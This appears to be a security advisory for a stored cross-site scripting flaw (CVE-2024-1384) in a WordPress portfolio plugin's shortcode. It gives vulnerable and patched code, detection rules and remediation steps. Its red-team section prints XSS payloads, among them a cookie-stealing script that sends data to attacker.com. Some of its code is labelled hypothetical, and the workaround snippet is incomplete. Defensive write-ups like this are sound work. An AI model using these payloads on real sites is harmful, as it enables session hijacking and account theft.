CVE-2024-1384

Executive Summary

CVE-2024-1384 is a Stored Cross-Site Scripting (XSS) vulnerability found in the Premium Portfolio Features for Phlox theme WordPress plugin (auxin-elements). The flaw resides in the aux_recent_portfolios_grid shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least Contributor-level permissions to inject arbitrary web scripts. When a victim (including administrators) visits a page containing the malicious shortcode, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is specific to the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The plugin is developed by Phlox (a brand of Averta). As of this report, no official patch has been released, and no public exploit code or proof-of-concept is available.

Supply Chain & Package Security

This is a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of the plugin by checking its checksum against the repository. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor)
• User Interaction: Required (victim must visit the page)
• Scope: Changed (vulnerability impacts resources beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. The requirement for authenticated access and user interaction reduces the immediate risk, but the potential for widespread exploitation via compromised contributor accounts makes this a significant concern for WordPress sites using the plugin.

Deep Dive & Mechanics

The vulnerability exists in the aux_recent_portfolios_grid shortcode handler. The plugin fails to properly sanitize and escape user-supplied attributes (e.g., title, category, orderby) before rendering them in the HTML output. An attacker with Contributor-level access can create a post or page containing the shortcode with malicious JavaScript payloads in the attributes.

Example vulnerable shortcode:

[aux_recent_portfolios_grid title="<script>alert('XSS')</script>"]

When the shortcode is processed, the title attribute is directly output into the page without escaping, causing the script to execute in the browser of any visitor.

The root cause is the use of echo $atts['title'] or similar without applying esc_attr() or wp_kses().

Vulnerable vs. Patched Code

Vulnerable Code (auxin-elements/includes/elements/recent-portfolios-grid.php):

function aux_recent_portfolios_grid_shortcode( $atts ) {
    $atts = shortcode_atts( array(
        'title' => '',
        'category' => '',
        'orderby' => 'date',
    ), $atts );

    $output = '<div class="aux-recent-portfolios-grid">';
    $output .= '<h2>' . $atts['title'] . '</h2>'; // Vulnerable: no escaping
    // ... rest of the code
    return $output;
}
add_shortcode( 'aux_recent_portfolios_grid', 'aux_recent_portfolios_grid_shortcode' );

Patched Code (hypothetical fix):

function aux_recent_portfolios_grid_shortcode( $atts ) {
    $atts = shortcode_atts( array(
        'title' => '',
        'category' => '',
        'orderby' => 'date',
    ), $atts );

    $output = '<div class="aux-recent-portfolios-grid">';
    $output .= '<h2>' . esc_html( $atts['title'] ) . '</h2>'; // Fixed: escaped
    // ... rest of the code
    return $output;
}
add_shortcode( 'aux_recent_portfolios_grid', 'aux_recent_portfolios_grid_shortcode' );

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with the vulnerable plugin (auxin-elements <= 2.3.4)
• An account with Contributor-level permissions or higher.

Steps:

1. Log in as a Contributor.
2. Create a new post or page.
3. Insert the following shortcode with a malicious payload:

   [aux_recent_portfolios_grid title="<img src=x onerror=alert(document.cookie)>"]
   

4. Publish the post.
5. When an administrator or any user visits the post, the JavaScript executes.

Advanced Payload (session hijacking):

[aux_recent_portfolios_grid title="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]

Blue Team (Detection & Prevention)

Detection:

• Monitor for posts/pages containing the shortcode aux_recent_portfolios_grid with suspicious attributes.
• Use a Web Application Firewall (WAF) to block common XSS patterns in shortcode attributes.
• Review user activity logs for Contributor-level users creating posts with unusual shortcode usage.

Prevention:

• Disable the plugin until a patch is released.
• Restrict Contributor-level permissions to prevent shortcode usage.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File: wp-content/plugins/auxin-elements/includes/elements/recent-portfolios-grid.php (vulnerable file)
• Shortcode pattern: [aux_recent_portfolios_grid title="<script>...</script>"]
• Network traffic: Outbound requests to attacker-controlled domains from the WordPress admin or frontend.
• Log entries: WordPress audit logs showing creation of posts with the vulnerable shortcode by low-privilege users.

Detection Engineering

YARA Rule

rule CVE_2024_1384_Phlox_XSS {
    meta:
        description = "Detects vulnerable aux_recent_portfolios_grid shortcode usage"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-1384"
    strings:
        $shortcode = /\[aux_recent_portfolios_grid[^\]]*title\s*=\s*["'][^"']*<[^>]+>["']/
    condition:
        $shortcode
}

Sigma Rule

title: CVE-2024-1384 - Stored XSS via aux_recent_portfolios_grid Shortcode
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects posts containing the vulnerable shortcode with potential XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 'aux_recent_portfolios_grid'
        http.url|re: 'title=.*<[^>]+>'
    condition: selection
falsepositives:
    - Legitimate use of HTML in shortcode attributes (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1384 - Stored XSS via aux_recent_portfolios_grid Shortcode"; flow:to_server,established; content:"aux_recent_portfolios_grid"; http_uri; pcre:"/title\s*=\s*["'][^"']*<[^>]+>["']/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patched version is released.
2. Review and remove any posts/pages containing the vulnerable shortcode.
3. Audit user accounts with Contributor-level permissions and revoke if unnecessary.

Long-term Fix:

• Apply the official patch from the plugin vendor when available.
• Implement input validation and output escaping for all shortcode attributes.
• Use WordPress's built-in functions like esc_html(), esc_attr(), and wp_kses().

Workaround:

• Add a custom function to your theme's functions.php to override the shortcode and sanitize attributes:

add_shortcode( 'aux_recent_portfolios_grid', function( $atts ) {
    $atts = shortcode_atts( array(
        'title' => '',
        'category' => '',
        'orderby' => 'date',
    ), $atts );
    $atts['title'] = esc_html( $atts['title'] );
    // ... rest of the original shortcode logic
} );

Valters IT
Securing Digital Frontiers